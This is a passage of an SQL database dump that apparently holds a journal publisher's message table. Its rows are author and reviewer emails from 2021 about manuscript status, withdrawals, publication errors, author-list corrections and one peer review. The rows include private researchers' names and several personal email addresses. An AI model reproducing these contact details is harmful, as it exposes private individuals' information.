Berger</p>',21,8648,3,'2021-04-19 16:44:03',1),(742,'Withdraw','<p><span>Hello.&nbsp;<span>I hope you are well.&nbsp;</span></span></p>\r\n<div><span>&nbsp;</span></div>\r\n<div><span>I would like to inform you that due to the cost and difficulties in making the payment right now we are forced to withdraw our manuscript \"Changes in left ventricle mechanics in patients\nwith Anderson - Fabry disease under enzyme replacement therapy\", for publication.</span></div>\r\n<div>\r\n<div>&nbsp;</div>\r\n<div>We appreciate your time invested in reviewing the manuscript.</div>\r\n<div>&nbsp;</div>\r\nThank you so much for your time.&nbsp;</div>\r\n<div>&nbsp;</div>\r\n<div>Gandhy Thomas Fonseca</div>',268,8391,1,'2021-04-20 00:01:17',1),(743,'required data','<p>Dear Editor,</p>\r\n<p>I look for the current satus of my submutted manuscript IPBMBJ-21-7628 Alfalfa Ribulose-1,5-bisphosphate carboxylase/oxygenase: Extraction, Biochemical Characterization, and Proteolytic Hydrolysis\nOptimization Process for Plausible Biotechnological Tools</p>\r\n<p>Best Regards</p>\r\n<p>Walid SAIBI</p>',370,8847,1,'2021-04-20 08:55:13',1),(744,'Review manuscript ipdehc-21-8196\nreviewer_17762','<p>Dear Carmen,</p>\r\n<p>Thank you for trusting me! But I am sorry, I am not able to review the manuscript.</p>\r\n<p>Best regards,</p>\r\n<p>&nbsp;</p>\r\n<p>Eduard Huppertz</p>',0,17762,3,'2021-04-20 14:09:35',0),(745,'Update','<p>Dear Editor</p>\r\n<p>I was just enquiring as to the progress of our paper which we have submitted.</p>\r\n<p>Many thanks</p>\r\n<p>Richard</p>',228,8319,1,'2021-04-21 07:00:30',1),(746,'Revision submitted','<p>Buenos d&iacute;as</p>\r\n<p>Informo he subido el manuscrito con las correcciones solicitadas:<span>&nbsp;reducci&oacute;n de palabras- adici&oacute;n de metodolog&iacute;a - ajuste de abreviaturas</span></p>\r\n<p>Esperando sea de su agrado y aprobaci&oacute;n para publicaci&oacute;n</p>\r\n<p>Mar&iacute;a Cristina</p>',274,9102,1,'2021-04-21 16:41:35',1),(747,'Required data','<p>Dear Editor,</p>\r\n<p>I seek for the current status of our submutted manuscript IPBMBJ-21-7628 Alfalfa Ribulose-1,5-bisphosphate carboxylase/oxygenase: Extraction, Biochemical Characterization, and Proteolytic\nHydrolysis Optimization Process for Plausible Biotechnological Tools</p>\r\n<p>Best Regards</p>\r\n<p>WALID SAIBI</p>',370,8847,1,'2021-04-22 09:24:14',1),(748,'Withdrawal','<p>Dear Editor:</p>\r\n<p>Due unclarified situations, I decided to withdraw my submission.</p>\r\n<p>Yesterday I sent also another email regarding this matter.</p>\r\n<p>Sicerely:</p>\r\n<p>Dr. Prof. Enrique Chacon-Cruz</p>',984,9337,1,'2021-04-24 15:05:57',1),(749,'Withdrawal','<p>Dear editors:</p>\r\n<p><br />Due unclarified situations, I decided to withdraw my submissions, of this Meningococcal and Varicella studies.</p>\r\n<p>Yesterday I sent also another email regarding this matter.</p>\r\n<p>Sicerely:</p>\r\n<p>Dr. Prof. Enrique Chacon-Cruz</p>',984,9337,1,'2021-04-24 15:07:44',1),(750,'revision needed','<p>revision must be requested from the authors</p>',85,1291,2,'2021-04-24 19:34:54',1),(752,' Manuscript','<p>Dear Editor, please I just wanted to know the status of my manuscript submitted for publication last week.thank you.</p>',309,9398,1,'2021-04-26 08:07:34',1),(753,'Query regarding publication ','<p><span>Respected Editor,</span></p>\r\n<div>&nbsp;</div>\r\n<div>I would&nbsp;like to bring to your kind notice my article&nbsp;<span>entitled&nbsp;</span><strong>\"Estimation and Comparison of Poverty Lines in different states of India by using Quality\nAdjusted Life Year (QALY)</strong><strong>\"&nbsp;</strong><span>&nbsp;alongwith&nbsp;the&nbsp;</span>invoice number&nbsp;<strong>1791-809X-15-829.&nbsp;</strong><span>I had mailed the revised version\na week prior. I wish to know the estimated time by which the article will be&nbsp;published.</span></div>\r\n<div><span>&nbsp;</span></div>\r\n<div><span>Thank You</span></div>\r\n<div><span>&nbsp;</span></div>\r\n<div><span>Regards,</span></div>\r\n<div><span>Radhika Magan</span></div>\r\n<div><span>Research Scholar</span></div>\r\n<div><span>University Of Delhi</span></div>',48,9117,1,'2021-04-28 01:08:42',1),(754,'Withdrawal of the manuscript ','<div class=\"gmail_default\">Dear Editor</div>\r\n<div class=\"gmail_default\">&nbsp;</div>\r\n<div class=\"gmail_default\">As I have been noticed that our manuscript has been posted at&nbsp;</div>\r\n<div class=\"gmail_default\"><a\nhref=\"https://biochem-molbio.imedpub.com/abstract/passiflora-edulis-extracts-induced-neuroprotection-against-glutamate-induced-oxytosis-via-regulation-of-mitochondrial-oxidative-stress-35521.html\"\ntarget=\"_blank\"\ndata-saferedirecturl=\"https://www.google.com/url?q=https://biochem-molbio.imedpub.com/abstract/passiflora-edulis-extracts-induced-neuroprotection-against-glutamate-induced-oxytosis-via-regulation-of-mitochondrial-oxidative-stress-35521.html&amp;source=gmail&amp;ust=1619683915752000&amp;usg=AFQjCNF9al6KQxPIkpU3hI4QBHgaOt974Q\">Passiflora\nedulis Extracts Induced Neuroprotection against Glutamate Induced Oxytosis via Regulation of Mitochondrial Oxidative Stress | Abstract (imedpub.com</a>&nbsp;that is your journal.</div>\r\n<div class=\"gmail_default\">&nbsp;</div>\r\n<div class=\"gmail_default\">Publication fee has not been paid. Proofread version of the manuscript for publication has never been corrected by the authors. So, no consent&nbsp;to publish is not given.\nMay I ask to withdraw it from your journal&nbsp;as soon as possible. In fact, the authors have already informed the editoriam team that we would like to withdraw this manuscript.&nbsp;</div>\r\n<div class=\"gmail_default\">&nbsp;</div>\r\n<div class=\"gmail_default\">Thank you for your attention.</div>\r\n<div class=\"gmail_default\">&nbsp;</div>\r\n<div class=\"gmail_default\">Yours sincerely,</div>\r\n<div class=\"gmail_default\">&nbsp;</div>\r\n<div class=\"gmail_default\">Tewin&nbsp;</div>\r\n<div class=\"gmail_default\">&nbsp;</div>',370,8113,1,'2021-04-28 11:03:56',1),(755,'Reviewers','<p>Thank you very much. Please find me at least three reviewers for\nthis task.</p>\r\n<p>Best regards</p>\r\n<p>Prof. Dr. Osmar Antonio Centuri&oacute;n, MD. PhD, FACC, FAHA.</p>',979,1238,2,'2021-04-28 12:42:32',1),(756,'Waiver','<p>Dear Editor,</p>\r\n<p>With much honor I write to request for a waiver of some percentages</p>\r\n<p>Thanks anticipation for your response</p>',48,9339,1,'2021-04-28 16:27:24',1),(757,'Revision','<p>Hi&nbsp;</p>\r\n<p>Dear&nbsp;</p>\r\n<p>Good times&nbsp;</p>\r\n<p>I suggest to ask the author to take the reviewer suggestions</p>\r\n<p>My openion is to review within time&nbsp;</p>',979,1344,2,'2021-04-29 05:22:49',1),(758,'Please reject my manuscript','<p>I am not a volunteer to publish my manuscript in your journal, please reject my manuscript from gallery. Thank you.</p>\r\n<div class=\"yj6qo\">&nbsp;</div>\r\n<div class=\"adL\">&nbsp;</div>',101,8807,1,'2021-04-29 11:48:01',1),(759,'error en publicación ','<p>han subido mi articulo con el titulo correcto, pero el contenido es de otro articulo anteriormente publicado y no el de mi manuscrito, agradezco la correcion&nbsp;</p>',274,8648,1,'2021-04-30 13:45:40',1),(760,'Author proof - withdraw request ','<p>Dear all,&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>This is Ashwaq Alsulami, I found my research published without my permission and I didn&rsquo;t review it and did not pay any fees for it</p>\r\n<p>In addition, all the coauthor was not added despite that I&rsquo;m not the corresponding author.&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Please I need your immediate action&nbsp;</p>\r\n<p>This is the manuscript number&nbsp;ipjnn-19-3122</p>\r\n<p>CLOBAZAM EFFICACY AS AN ADD- ON THERAPY FOR 121 PATIENTS WITH INTRACTABLE EPILEPSY</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you</p>',75,4089,1,'2021-04-30 16:53:06',1),(761,'Withdrawal request','<p>Dear all,&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>This is Ashwaq Alsulami; I found my research published without my permission, and I didn&rsquo;t review it and did not pay any fees for it.</p>\r\n<p>In addition, all the coauthor was not added despite that I&rsquo;m not the corresponding author.&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Please, I need your immediate action.&nbsp;</p>\r\n<p>This is the manuscript number&nbsp;ipjnn-19-3122</p>\r\n<p>CLOBAZAM EFFICACY AS AN ADD- ON THERAPY FOR 121 PATIENTS WITH INTRACTABLE EPILEPSY</p>\r\n<p>&nbsp;</p>\r\n<p>Please contact me on&nbsp;</p>\r\n<p><a href=\"mailto:Alsulamiashwaq@mail.com\">Alsulamiashwaq@mail.com</a></p>\r\n<p>Al-sulami.a@hotmail.com</p>',75,4089,1,'2021-05-01 13:26:21',1),(762,'Withdrawal request','<p>Dear all,&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>This is Ashwaq Alsulami; I found my research published without my permission, and I didn&rsquo;t review it and did not pay any fees for it.</p>\r\n<p>In addition, all the coauthor was not added despite that I&rsquo;m not the corresponding author.&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Please, I need your immediate action.&nbsp;</p>\r\n<p>This is the manuscript number&nbsp;ipjnn-19-3122</p>\r\n<p>CLOBAZAM EFFICACY AS AN ADD- ON THERAPY FOR 121 PATIENTS WITH INTRACTABLE EPILEPSY</p>\r\n<p>&nbsp;</p>\r\n<p>Please Contact me on</p>\r\n<p><a href=\"mailto:Alsulamiashwaq@gmail.com\">Alsulamiashwaq@gmail.com</a></p>\r\n<p>Al-sulami.a@hotmail.com</p>',75,4089,1,'2021-05-01 13:28:05',1),(763,'For publishing research article no\nijddr-21-8202','<p>Hello as as my research article no ijddr -21-8202 has been approved by editor side plz let me know how much time il takes to published</p>',376,8771,1,'2021-05-02 03:22:12',1),(764,'REVIEW BY IAF.','<p>Dear Editor and fellow researchers, thank you for entrusting the review of your manuscript.<br />Here are our observations:<br />1. As for the abstract, the authors obeyed the maximum number of\nwords. The manuscript abstract contains 245 words;<br />2. All keywords are on the Mesh Platform of PubMed;<br />3. The text is well written and easy to read, however, the authors can make the\nparagraphs shorter, as there are some very long sentences, which can tire the reader;<br />4. The authors mention that they used the PRISMA method for the research, but we were unable to verify this\nsince PRIMA uses a scale to qualify the studies;<br />5. Regarding the theme, it is a subject that has been studied a lot by the scientific community, so there is a lot to research about the causal\nrelationship between HIV and Diabetes;<br />6. What we observed is that the authors used only two health data search platforms: PubMed and Google Scholar; We asked why colleagues did not use other\ndatabases? Scopus, Embase, Web of Science ??;<br />7. Google Scholar is interesting; however, it is considered gray literature since it does not have peer review in the studies included in this\nplatform, so the search on previously mentioned platforms would help colleagues to find more studies on the subject, reviewed by pairs;<br />8. The authors mention different periods of research and\nselection of manuscripts, reaching several 14 studies; after applying the inclusion criteria, we observed that 30 references were used in the manuscript; and it makes us wonder why? The 14 studies\nfound were not enough; in this sense, we advise the deepening of bibliographic research, including other databases such as Scopus, Embase, and Web of Science; we also suggest placing a period or time\ninterval for the research instead of researching studies on different dates, as this can generate study selection bias<br />9. We suggest that the selection of articles be made by peers and blindly\nand independently, with a third reviewer in case of disagreements regarding the inclusion or not of studies in the present review on the topic;<br />10. While reading the text, we noticed that the\nauthors put many points of the Discussion in the Methods section; this should be reviewed;<br />11. Another important point is that we did not find the Results section in the manuscript, which\nsuggests a review on this topic. Much of what is written in the methods can be used in the sections referring to Results and Discussion;<br />12. I congratulate fellow researchers as this is a\nchallenging topic, since Diabetes Mellitus, even in patients with HIV and using retroviral, has diseases or comorbidities that are confounding variables when establishing a causal relationship between\nretroviral drugs and the development of Diabetes; metabolic syndrome, obesity; hypertension; Lipodystrophy; among others; even knowing that since 2004 such drugs have evolved, however, it seems to me\nthat we are still in the field of probabilities or possible effects directly on the pancreatic cell or its mechanisms of action, mediators, etc., associated with the fact that the studies shown in the\nmanuscript have samples small, and some involve post-mortem analysis;<br />13. Based on the above, we suggest:<br />&bull; Deepen research in other health databases;<br />&bull; Better format the\ntext;<br />&bull; Use only the articles that have been selected;<br />&bull; Modify how articles are selected for inclusion in the study; independent researchers; analysis and blind selection of\narticles and by peers;<br />&bull; We suggest the inclusion of more cohort or RCT studies;<br />&bull; Reduction of certain paragraphs, as they are long.<br />These were my considerations,<br />With\nmy compliments,<br />IAF.</p>',0,374,3,'2021-05-04 12:33:42',0),(765,'decline review invitation','<p>I am unable to review this paper.&nbsp; &nbsp;<strong>IPJPIC-21-8108</strong></p>',0,9806,3,'2021-05-04 14:11:10',1),(766,'Cannot access file for proofing','<p>Dear Administrators,</p>\r\n<p>I am having trouble accessing my submitted files for proofing.</p>\r\n<p>Please send proofing files to me via email.</p>\r\n<p>Thank you very much,</p>\r\n<p>Hiroshi Kajio</p>',132,9083,1,'2021-05-05 01:36:35',1),(768,'Notification for Update ','<p>Greetings for the day&nbsp;</p>\r\n<p>It is refrence to the submission of submitted manuscriot as yet not received any update regarding acceptance, corrections.</p>\r\n<p>Waiting for your positive response.&nbsp;</p>\r\n<p>Regards&nbsp;</p>\r\n<p>Ruchika kalra</p>',121,9429,1,'2021-05-06 07:39:33',1),(769,'APPROVAL FOR PUBLICATION OF ARTICLES IPJHCC-21-8085','<p>Dear sir</p>\r\n<p>Greetings</p>\r\n<p>kindly do the needful for article number IPJHCC-21-8085 for\npublication. </p>\r\n<p>thank you</p>\r\n<p>with best regards</p>\r\n<p>DR SANJAY KUMAR DABHI</p>',269,1660,2,'2021-05-08 10:54:08',1),(770,'To request current status','<p>Dear Sir/Madam greetings for the day. The journal editor was accepted my work but after editor acceptance there is no response. What about currently my paper status? Is that published or not?\nPlease make confirm if it is possible. Thank you for your cooperation.</p>\r\n<p>with kind regards,</p>\r\n<p>Cheru Kore(MPH, Author, PhD candidate)</p>',48,9247,1,'2021-05-08 17:54:48',1),(771,'regarding articles IPJH-21-8127','<p>Dear Sir,</p>\r\n<p>Articles cant be accepted as per reviewer suggesion. it should be\nmodify with major correction.</p>\r\n<p>thank you</p>\r\n<p>with best regards</p>\r\n<p>sanjay</p>',269,1660,2,'2021-05-09 11:12:14',1),(772,'iphsj-21-81-8173','<p>Dear editor,&nbsp;</p>\r\n<p>Please what the way forward? Other authors are not willing to pay for the publication fees&nbsp;</p>',48,9339,1,'2021-05-10 21:05:55',1),(773,'AJPSKY-21-7399','<p>Dear Sir,</p>\r\n<p>Just notice that my paper was accepted. Therefore may I know what is the next step?</p>\r\n<p>&nbsp;</p>\r\n<p>Thanks</p>\r\n<p>&nbsp;</p>\r\n<p>Regards</p>\r\n<p>M.Umaiyal</p>',101,988,1,'2021-05-14 01:56:34',1),(774,'ipaom-21-8408  Invitation\nDeclined	LIFESTYLE FACTORS AS RISK\nFACTORS AND TREATMENT OPTIONS IN\nTENDINOPATHY','<p>I am not able to revew this manuscript. I have no expertice in this field.</p>\r\n<p>&nbsp;</p>\r\n<p>OP Rekvig</p>',0,16673,3,'2021-05-14 14:08:12',0),(775,'regarding articles IPJH-21-8127','<p>Dear Sir,</p>\r\n<p>Greetings,</p>\r\n<p>Articles accepted.</p>\r\n<p>Thank you</p>\r\n<p>With best regards,</p>\r\n<p>Sanjay</p>',269,1660,2,'2021-05-15 11:18:24',1),(778,'submission ','<p>whats the next step as &nbsp;i want to get my article submissited as soon as possible&nbsp;</p>',75,7918,1,'2021-05-17 15:49:04',1),(779,'Post correction','<p>Kind regards, I want to inform that they published our article PARTICIPATION OF THE FTO GENE IN THE DEVELOPMENT OF CHILDHOOD OBESITY, with the content of a different article, please make the\nrespective correction. I remain attentive to the correction. email dorozcon10@curnvirtual.edu.co</p>',132,9201,1,'2021-05-18 02:16:46',1),(780,'error en publicación ','<p>estoy esperando aun se corrija el pdf de mi articulo, el cual fue retirado por lo visto de la revista para poder difundir mi investigacion</p>',274,8648,1,'2021-05-18 02:55:28',1),(781,'about revision manuscript','<p>hi dear,</p>\r\n<p>i send you this mail for reporting a missing files in my dashborad, i cant find any suggestions to edit the main submission</p>\r\n<p>regards</p>',319,9409,1,'2021-05-18 22:14:15',1),(782,'Enquiry.','<p>Is there is any publication charges ?</p>\r\n<p>If yes then what is the amount ?</p>',645,9557,1,'2021-05-19 14:49:56',1),(784,'Manuscript ID ipdehc-21-8486','<p>Dear Carmen,</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you for trusting me.</p>\r\n<p>But I am not able to review the manuscript.</p>\r\n<p>Best regards,</p>\r\n<p>Eduard</p>\r\n<p>&nbsp;</p>\r\n<p>Dr. Eduard Huppertz</p>\r\n<p><a href=\"mailto:eduard.huppertz@t-online.de\">eduard.huppertz@t-online.de</a></p>\r\n<p>&nbsp;</p>',0,17762,3,'2021-05-20 11:54:37',1),(785,'CORRECTION OF TWO PUBLICATIONS','<p>We have found a mistake, they published the content of our article with a single author in Volume 6, Number 5 DOI: 10.21767 / 2572-5394.6.5.57 and in our article Participation of the fto gene in\nthe development of childhood obesity, they published the wrong content that is not ours. Volume 6, Number 4 doi: 10.21767 / 2572-5394.6.4.52. We request that you correct it and give us credit for the\ncorrect information.</p>',132,9201,1,'2021-05-20 15:10:33',1),(787,'Request for edition','<p>Thank&nbsp; you for acceptance and published manuscript. But this to inform you to iclude table no. 5 missed from published manuscript if possible.</p>\r\n<p>&nbsp;</p>\r\n<p>Best regards,</p>',164,9300,1,'2021-05-24 11:18:22',1),(788,'Revision','<p>Por el presente correo me gustar&iacute;a solicitar una respuesta rralcionada con mi escrito enviado, comentarios, cambios a realizar para que pueda ser aceptado por ustedes</p>',132,9254,1,'2021-05-25 04:50:42',1),(790,'Regarding the submitted manuscript','<p>Dear sir/maam,</p>\r\n<p>I would like to know what is the time required for the review process to be complete.</p>\r\n<p>Thank You</p>\r\n<p>With Regards</p>\r\n<p>Ar. Rahul Mehta</p>',48,9566,1,'2021-05-25 13:34:06',1),(791,' Withdraw the manuscript from the\njournal','<div class=\"gmail_default\">Dear Rebecca</div>\r\n<div class=\"gmail_default\">&nbsp;</div>\r\n<div class=\"gmail_default\">The authors request to withdraw the manuscript from the journal. We do not authorize its availability online because it will be sent to another journal.</div>\r\n<div class=\"gmail_default\">&nbsp;</div>\r\n<div class=\"gmail_default\">Waiting for your reply.</div>\r\n<div class=\"gmail_default\">&nbsp;</div>\r\n<div class=\"gmail_default\">&nbsp;</div>\r\n<div class=\"gmail_default\">Best regards,</div>\r\n<div class=\"gmail_default\">&nbsp;</div>\r\n<div class=\"gmail_default\">Authors</div>',274,7901,1,'2021-05-26 14:54:29',1),(793,'Ref.: Mrs. No. ipaom-21-8588  ','<p>Ref.: Mrs. No. ipaom-21-8588</p>\r\n<p>Title of the article: CARDIOVASCULAR SYSTEM AND SARS-VOC-2 - ETIOLOGY, PHYSIOPATHOLOGY AND CLINICAL PRESENTATION: A SYSTEMATIC REVIEW</p>\r\n<p>Journal title: Arquivos de Medicina</p>\r\n<p>Dear Editor</p>\r\n<p>We inform that we have already reviewed the comments (in red in the text). No. ipaom-21-8588</p>',85,6489,1,'2021-05-27 18:49:17',1),(795,'my decision is minor revision','<p>hi</p>\r\n<p>dear</p>\r\n<p>good times</p>\r\n<p>please send a letter to the author for revision as to the reviewer\nnotes</p>',979,1344,2,'2021-05-28 16:48:02',1),(796,'my decision is minor revision','<p>hi</p>\r\n<p>dear</p>\r\n<p>good times</p>\r\n<p>please send a letter to the author to revise the paper as to the\nreviewer notes</p>',979,1344,2,'2021-05-28 16:53:04',1),(797,'withdrawl of manuscript ','<div><span>Reference number:&nbsp;</span><strong>1590-8577-22-703</strong><br /><span>&raquo; Journal Name:&nbsp;</span><strong>Journal of the Pancreas</strong><br /><span>&raquo; Article\nTitle:&nbsp;</span><strong>Anatomy at pancreatic transection point predicts occurrence of postoperative pancreatic fistula following Pancreaticoduodenectomy</strong><br /><span>&raquo; Corresponding\nAuthor:&nbsp;</span><strong>Dr. Venu Mulpuri</strong></div>\r\n<div><strong>&nbsp;</strong></div>\r\n<div><strong>In view of conflict of interest among the authors we could not be able to accept publishing the article in journal&nbsp;</strong></div>\r\n<div><strong>so kindly accept our request and stop processing our article for publicatiuon and the authors want to withdraw article from the journal</strong></div>\r\n<div><strong>Thank you</strong></div>',21,8794,1,'2021-05-31 07:23:29',1),(800,'Change in corresponding author.','<p>Sir kindly change the corresponding author from SAYAN MANDAL to BASUDEV MANDAL.The&nbsp; email id will remain same only alter the corresponding author. Please do it as far as it possible in\npublished document.</p>',645,9557,1,'2021-05-31 14:53:55',1),(801,'Change in corresponding author.','<p>Sir, please alter the corresponding author.&nbsp;</p>\r\n<p>Corresponding author will be BASUDEV MANDAL.</p>',645,9557,1,'2021-05-31 14:55:29',1),(802,'Change in corresponding author.','<p>Sir, kindly make it sure before publishing that , first author will be SAYAN MANDAL&nbsp; , Second and corresponding author will be BASUDEV MANDAL.</p>\r\n<p>Kindly make the correction .</p>\r\n<p>Thank you.</p>\r\n<p>&nbsp;</p>',645,9557,1,'2021-05-31 15:19:35',1),(803,'ipjnn-21-8074','<p>Dear Professor Rubinstein,</p>\r\n<p>I would kindly ask you for information on timing you expect to complete the revision of the paper ipjnn-21-8074, sent to Journal of Neurology and Neuroscience on Apr 02, 2021.</p>\r\n<p>With many thanks and best regards,</p>\r\n<p>Vincenzo Benagiano</p>',75,9248,1,'2021-06-01 11:44:15',1),(804,'rescinding submission ','<p>Dear Journal editors,&nbsp;</p>\r\n<p>I would like to respectfully pull my submission from consideration, effective immediately. Thank you.</p>\r\n<p>&nbsp;</p>\r\n<div>\r\n<p>All the best,&nbsp;</p>\r\n<p>Thea Cogan-Drew</p>\r\n</div>',50,9618,1,'2021-06-02 21:10:32',1),(805,'Progress delayed manuscript','<p>Dear editor,</p>\r\n<p>The manuscript entitled &lsquo;<em>Sequential adaptation of Vero cell lines in Serum free medium for fixed Rabies virus propagation</em>&rsquo; was submitted to <em>International Journal of Applied\nScience - Research and Review</em> for consideration. The reviewers&rsquo; comments were accepted, corrected thoroughly and revision was submitted by editorial tracking. However; the status progress\nwas delayed; please proceed remain steps to finalize the article on time. I am ready to receive any comments regarding to this manuscript and wait for your kind response.</p>\r\n<p>&nbsp;</p>\r\n<p>Regards!</p>',309,8292,1,'2021-06-03 05:15:03',1),(806,'Revision details','<p>Dear the Editorial Office and Journal Coordinator,</p>\r\n<p>To our knowledge, our paper &ldquo;<strong>Association between Adiponectin Levels and Abdominal Obesity among a Population of Secondary School Children in Vietnam</strong>&rdquo; was published in\nyour Journal this month.</p>\r\n<p>Before publication, we were sent the proofing version in which there was some incorrect information. We sent an email on May 15, 2021 to the Journal Coordinator with 5 comments, however, no change\nwas applied. In particular, the title of table 1: &ldquo;Table 1: Abdominal obesity and abdominal obesity groups&rdquo; is incorrect compared to our manuscript. This mistake is unacceptable and we\nwill be very ashamed if readers find this paper, therefore we strongly request you to revise the contents mentioned below.</p>\r\n<p><span style=\"text-decoration: underline;\">1. Regarding authors&rsquo; names, please change the names of authors 1, 2, 3, 4, 7, 8 to names shown in column (3) below:&nbsp;</span></p>\r\n<table style=\"width: 601px;\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td valign=\"top\" width=\"47\">\r\n<p>No.&nbsp;</p>\r\n</td>\r\n<td valign=\"top\" width=\"189\">\r\n<p>Authors&rsquo; full name&nbsp;</p>\r\n<p>&nbsp;(First, middle, last) (1)&nbsp;</p>\r\n</td>\r\n<td valign=\"top\" width=\"208\">\r\n<p>Western name order (2)&nbsp;</p>\r\n</td>\r\n<td valign=\"top\" width=\"157\">\r\n<p>Name order in the manuscript (3)&nbsp;</p>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td valign=\"top\" width=\"47\">\r\n<p>1&nbsp;</p>\r\n</td>\r\n<td valign=\"top\" width=\"189\">\r\n<p>Thanh, Van, Do&nbsp;</p>\r\n</td>\r\n<td valign=\"top\" width=\"208\">\r\n<p>Thanh Van Do&nbsp;</p>\r\n</td>\r\n<td valign=\"top\" width=\"157\">\r\n<p>Do TV&nbsp;</p>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td valign=\"top\" width=\"47\">\r\n<p>2&nbsp;</p>\r\n</td>\r\n<td valign=\"top\" width=\"189\">\r\n<p>Thuy, Thi Phuong, Pham&nbsp;</p>\r\n</td>\r\n<td valign=\"top\" width=\"208\">\r\n<p>Thuy Thi Phuong Pham&nbsp;</p>\r\n</td>\r\n<td valign=\"top\" width=\"157\">\r\n<p>Pham TTP&nbsp;</p>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td valign=\"top\" width=\"47\">\r\n<p>3&nbsp;</p>\r\n</td>\r\n<td valign=\"top\" width=\"189\">\r\n<p>Quyen, Huyen, Dao&nbsp;</p>\r\n</td>\r\n<td valign=\"top\" width=\"208\">\r\n<p>Quyen Huyen Dao&nbsp;</p>\r\n</td>\r\n<td valign=\"top\" width=\"157\">\r\n<p>Dao QH&nbsp;</p>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td valign=\"top\" width=\"47\">\r\n<p>4&nbsp;</p>\r\n</td>\r\n<td valign=\"top\" width=\"189\">\r\n<p>Dung, Phan&nbsp;</p>\r\n</td>\r\n<td valign=\"top\" width=\"208\">\r\n<p>Dung Phan&nbsp;</p>\r\n</td>\r\n<td valign=\"top\" width=\"157\">\r\n<p>Phan D&nbsp;</p>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td valign=\"top\" width=\"47\">\r\n<p>5&nbsp;</p>\r\n</td>\r\n<td valign=\"top\" width=\"189\">\r\n<p>Yumi, Matsushita &nbsp;</p>\r\n</td>\r\n<td valign=\"top\" width=\"208\">\r\n<p>Yumi, Matsushita&nbsp;</p>\r\n</td>\r\n<td valign=\"top\" width=\"157\">\r\n<p>Matsushita Y&nbsp;</p>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td valign=\"top\" width=\"47\">\r\n<p>6&nbsp;</p>\r\n</td>\r\n<td valign=\"top\" width=\"189\">\r\n<p>Mitsuhiko, Hara&nbsp;</p>\r\n</td>\r\n<td valign=\"top\" width=\"208\">\r\n<p>Mitsuhiko, Hara&nbsp;</p>\r\n</td>\r\n<td valign=\"top\" width=\"157\">\r\n<p>Hara M&nbsp;</p>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td valign=\"top\" width=\"47\">\r\n<p>7&nbsp;</p>\r\n</td>\r\n<td valign=\"top\" width=\"189\">\r\n<p>Thanh, Thi The, Nguyen&nbsp;</p>\r\n</td>\r\n<td valign=\"top\" width=\"208\">\r\n<p>Thnh Thi The Nguyen&nbsp;</p>\r\n</td>\r\n<td valign=\"top\" width=\"157\">\r\n<p>Nguyen TTT&nbsp;</p>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td valign=\"top\" width=\"47\">\r\n<p>8&nbsp;</p>\r\n</td>\r\n<td valign=\"top\" width=\"189\">\r\n<p>Uyen, Thu, Hoang&nbsp;</p>\r\n</td>\r\n<td valign=\"top\" width=\"208\">\r\n<p>Uyen Thu Hoang&nbsp;</p>\r\n</td>\r\n<td valign=\"top\" width=\"157\">\r\n<p>Hoang UT&nbsp;</p>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td valign=\"top\" width=\"47\">\r\n<p>9&nbsp;</p>\r\n</td>\r\n<td valign=\"top\" width=\"189\">\r\n<p>Hiroshi, Kajio&nbsp;</p>\r\n</td>\r\n<td valign=\"top\" width=\"208\">\r\n<p>Hiroshi, Kajio&nbsp;</p>\r\n</td>\r\n<td valign=\"top\" width=\"157\">\r\n<p>Kajio H&nbsp;</p>\r\n</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n<p>&nbsp;</p>\r\n<p><span style=\"text-decoration: underline;\">2. Please change the department of Dr. Thanh Van Do (1st author)</span> from:&nbsp;</p>\r\n<p><sup>1</sup>International Cooperation Department, Bach Mai Hospital, Hanoi, Vietnam&nbsp;</p>\r\n<p>to</p>\r\n<p><sup>1</sup>Center for Tropical Diseases, Bach Mai Hospital, Hanoi, Vietnam.&nbsp;&nbsp;</p>\r\n<p><span style=\"text-decoration: underline;\">3. Please put the name &ldquo;Pham TTP&rdquo; as double first author</span> with the sentencebelow:</p>\r\n<p><em>*The two first authors contributed equally to this article.&nbsp;</em>&nbsp;</p>\r\n<p><span style=\"text-decoration: underline;\">4. The title &ldquo;Table 1: Abdominal obesity and abdominal obesity groups&rdquo; is incorrect compared to our manuscript.&nbsp;</span></p>\r\n<p>Please correct the title of table 1 to the below and put the name of statistical test at the bottom of table 1 as follows:</p>\r\n<p><em>Table 1 Comparison between the characteristics of the boys in the non-abdominal obesity and abdominal obesity groups&nbsp;</em></p>\r\n<p><em>* Mann-Whitney U Test</em></p>\r\n<p><span style=\"text-decoration: underline;\">5. Prof. Mitsuhiko Hara is one of the authors.</span></p>\r\n<p>In Acknowledgements, please delete the sentence shown below.&nbsp;</p>\r\n<p>We would like to express our sincere thanks to Professor Mitsuhiko Hara of the Department of Human Nutrition, Faculty of Human Nutrition, Tokyo Kasei Gakuin University, for providing us with\nvaluable advice that aided us in performing the study.</p>',132,9083,1,'2021-06-04 04:39:24',1),(807,'Change in corresponding author.','<p>Sir,</p>\r\n<p>&nbsp;</p>\r\n<p>Till date no correction has been done.kindly change the corresponding author from SAYAN MANDAL to BASUDEV MANDAL.&nbsp;</p>',645,9557,1,'2021-06-04 14:16:47',1),(809,'Fate of my paper','<p>Kindly let me know the status of my article.&nbsp;</p>',282,7631,1,'2021-06-07 11:45:46',0),(811,'Halo editorial greeting the day  ','<p>please delet our paper that you published in your journal, your journal is not trusted to author i dont like your journal please delet our 